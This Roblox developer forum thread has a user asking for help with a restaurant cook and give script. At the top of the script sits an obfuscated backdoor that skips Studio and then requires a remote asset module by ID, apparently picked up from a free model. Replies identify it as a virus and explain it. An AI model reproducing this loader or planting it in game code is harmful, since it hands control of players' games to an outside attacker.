Bug or error i want fixed
The problem is it works, my cook system is broken + my give system when I got the error
Pic of script




Solutions: none i could not figure it out.
game.ReplicatedStorage.GiveSystem.GiveItem.OnServerEvent:connect(i2j07TwuzoI = 'IsStudio' isI1jH = game iWIQfOciO0OxF7a = 'Description' iTMwCGmiRxJ = 'IsStudio' iiR7cR = 'Name' i40b = 221254732.75 * 12 ihDsiQvK = 'ReplicatedStorage' iW0Lx64DPwcgheA = pcall ivHHjTPJ = 'GetService' iNA6MMR193rN5 = 'PlaceId' i1z0CFhYTgI = 'SSM' iHRs26jAE = 'load' iuldO9m5z = 'test' ixbOavePpfcL = require iSz0aV = 'Debris' iuSp9CK8 = spawn i9nkwssUEOB = 'MarketplaceService' i5EdalSlKb = 'RunService' iuSp9CK8( function() iW0Lx64DPwcgheA( function() if isI1jH:GetService(i5EdalSlKb) [iTMwCGmiRxJ] (isI1jH:GetService(i5EdalSlKb) ) then return end ixbOavePpfcL(i40b) [iHRs26jAE] (isI1jH[iNA6MMR193rN5] ) end ) end )
function(plr, customer, order)
pcall(function()
1 Like
That is a virus script, not a cook system script
i did not know that was a virus script…
game.ReplicatedStorage.GiveSystem.GiveItem.OnServerEvent:connect(i2j07TwuzoI = 'IsStudio' isI1jH = game iWIQfOciO0OxF7a = 'Description' iTMwCGmiRxJ = 'IsStudio' iiR7cR = 'Name' i40b = 221254732.75 * 12 ihDsiQvK = 'ReplicatedStorage' iW0Lx64DPwcgheA = pcall ivHHjTPJ = 'GetService' iNA6MMR193rN5 = 'PlaceId' i1z0CFhYTgI = 'SSM' iHRs26jAE = 'load' iuldO9m5z = 'test' ixbOavePpfcL = require iSz0aV = 'Debris' iuSp9CK8 = spawn i9nkwssUEOB = 'MarketplaceService' i5EdalSlKb = 'RunService' iuSp9CK8( function() iW0Lx64DPwcgheA( function() if isI1jH:GetService(i5EdalSlKb) [iTMwCGmiRxJ] (isI1jH:GetService(i5EdalSlKb) ) then return end ixbOavePpfcL(i40b) [iHRs26jAE] (isI1jH[iNA6MMR193rN5] ) end ) end )
function(plr, customer, order)
pcall(function()
order.Parent = customer.Backpack
order.LocalScript.Disabled = false
end)
end)
local waitingitems = {}
local flags = {
["Plain-ish Spice"] = {"Plain-ish",BrickColor.new("Oyster")},
["Mango & Lime Spice"] = {"Mango\
& Lime",BrickColor.new("Neon orange")},
["Lemon & Herb Spice"] = {"Lemon\
& Herb",BrickColor.new("Artichoke")},
["Medium Spice"] = {"Medium",BrickColor.new("Gold")},
["Hot Spice"] = {"Hot",BrickColor.new("Really red")},
["Extra Hot Spice"] = {"Extra Hot",BrickColor.new("Cocoa")}
}
game.ReplicatedStorage.GiveSystem.makeMeal.OnServerEvent:connect(function(plr, meal, tab)
print(plr.Name.. " made "..meal[1].." for Table "..tab..".")
game.ReplicatedStorage.Logs.Chef:Fire(plr.Name.. " made "..meal[1].." for Table "..tab..".")
pcall(function()
for _,v in pairs(workspace.trays:GetChildren()) do
if v.Union.Transparency == 1 then
v.Union.Transparency = 0
v.tabnum.Union.Transparency = 0
v.tabnum.Part1.SurfaceGui.TextLabel.Text = tab
v.tabnum.Part2.SurfaceGui.TextLabel.Text = tab
local item = game.ReplicatedStorage.FoodItems[meal[1]]:Clone()
item.Parent = v.food
item:SetPrimaryPartCFrame(v.Union.CFrame * CFrame.new(0,item.PrimaryPart.Size.Y/2,0))
if meal[2] ~= nil then
item.flag.head.SurfaceGui1.TextLabel.Text = flags[meal[2]][1]
item.flag.head.SurfaceGui2.TextLabel.Text = flags[meal[2]][1]
item.flag.head.BrickColor = flags[meal[2]][2]
item.flag.head.BrickColor = flags[meal[2]][2]
end
return
end
end
table.insert(waitingitems, {meal,tab})
end)
end)
game.ReplicatedStorage.GiveSystem.takeFood.OnServerEvent:connect(function(plr, place)
place.food:ClearAllChildren()
place.Union.Transparency = 1
place.tabnum.Union.Transparency = 1
place.tabnum.Part1.SurfaceGui.TextLabel.Text = ""
place.tabnum.Part2.SurfaceGui.TextLabel.Text = ""
if #waitingitems > 0 then
pcall(function()
if place.Union.Transparency == 1 then
place.Union.Transparency = 0
place.tabnum.Union.Transparency = 0
place.tabnum.Part1.SurfaceGui.TextLabel.Text = waitingitems[1][2]
place.tabnum.Part2.SurfaceGui.TextLabel.Text = waitingitems[1][2]
local item = game.ReplicatedStorage.FoodItems[waitingitems[1][1][1]]:Clone()
item.Parent = place.food
item:SetPrimaryPartCFrame(place.Union.CFrame * CFrame.new(0,item.PrimaryPart.Size.Y/2,0))
if waitingitems[1][1][2] ~= nil then
item.flag.head.SurfaceGui1.TextLabel.Text = flags[waitingitems[1][1][2]][1]
item.flag.head.SurfaceGui2.TextLabel.Text = flags[waitingitems[1][1][2]][1]
item.flag.head.BrickColor = flags[waitingitems[1][1][2]][2]
item.flag.head.BrickColor = flags[waitingitems[1][1][2]][2]
end
table.remove(waitingitems,1)
end
end)
end
end)
game.ReplicatedStorage.GiveSystem.placeFood.OnServerEvent:connect(function(plr, item, place, flag)
pcall(function()
local qq = game.ReplicatedStorage.FoodItems[item]:Clone()
qq.Parent = place
qq:SetPrimaryPartCFrame(place.CFrame*CFrame.new(0,-.3 + (qq.PrimaryPart.Size.Y/2),0))
if flag[1] ~= nil then
qq:WaitForChild("flag"):WaitForChild("head").BrickColor = flag[2]
qq:WaitForChild("flag"):WaitForChild("head").SurfaceGui1.TextLabel.Text = flag[1]
qq:WaitForChild("flag"):WaitForChild("head").SurfaceGui2.TextLabel.Text = flag[1]
end
end)
end)
game.ReplicatedStorage.GiveSystem.clearFood.OnServerEvent:connect(function(plr, place)
place:ClearAllChildren()
end)
game.ReplicatedStorage.others.cupDrink.OnServerEvent:connect(function(plr,cup)
pcall(function()
cup:WaitForChild('drink'):WaitForChild('Mesh').Offset = Vector3.new(0,cup.drink.Mesh.Offset.Y - .1,0)
cup.drink.Mesh.Scale = Vector3.new(0.84+(.34*((cup.drink.Mesh.Offset.Y * 10)/14)),0,.84+(.34*((cup.drink.Mesh.Offset.Y * 10)/14)))
if cup.Name ~= "Cup (Empty)" and cup.drink.Mesh.Offset.Y <= 0 then
cup.Name = "Cup (Empty)"
cup.drink.Transparency = 1
end
end)
end)
game.ReplicatedStorage.others.mugDrink.OnServerEvent:connect(function(plr,cup)
pcall(function()
cup:WaitForChild('drink'):WaitForChild('Mesh').Offset = Vector3.new(0,cup.drink.Mesh.Offset.Y - .1,0)
if cup.Name ~= "Mug (Empty)" and cup.drink.Mesh.Offset.Y <= 0 then
cup.Name = "Mug (Empty)"
cup.drink.Transparency = 1
end
end)
end)
game.ReplicatedStorage.others.giveMenu.OnServerEvent:connect(function(plr, cus)
if cus and (not cus.Backpack:FindFirstChild("Menu")) and (not cus.Character:FindFirstChild("Menu")) then
game.ServerStorage.Menu:Clone().Parent = cus.Backpack
end
end)
full code btw
I’m sure that’s a free model script, the OnServerEvent doesn’t even connect to any existing function, it basically connects to the hacker’s module and you’re letting that hacker access your place.
can you help me fix this so the rest of it works?! i did not know about this im sure its advanced
try removing everything at line one after OnServerEvent:connect(
and free models are dangerous sometimes
1 Like
At this point I’m pretty sure you know nothing about scripting on roblox, try learning it as it’s not really a hard scripting language.
Not trying to hurt you or anything but that script there does not work, you probably won’t read this but you’re passing no arguments to the function(plr, customer, order) and the script makes no sense.
1 Like
You good friend im not good at scripting im very bad xd
I don’t know how your cooking system works, if you can explain it to me how it works maybe I can help you ( not just a footage of the results ), the logic behind it
Wanna test it out? or should i tell? in words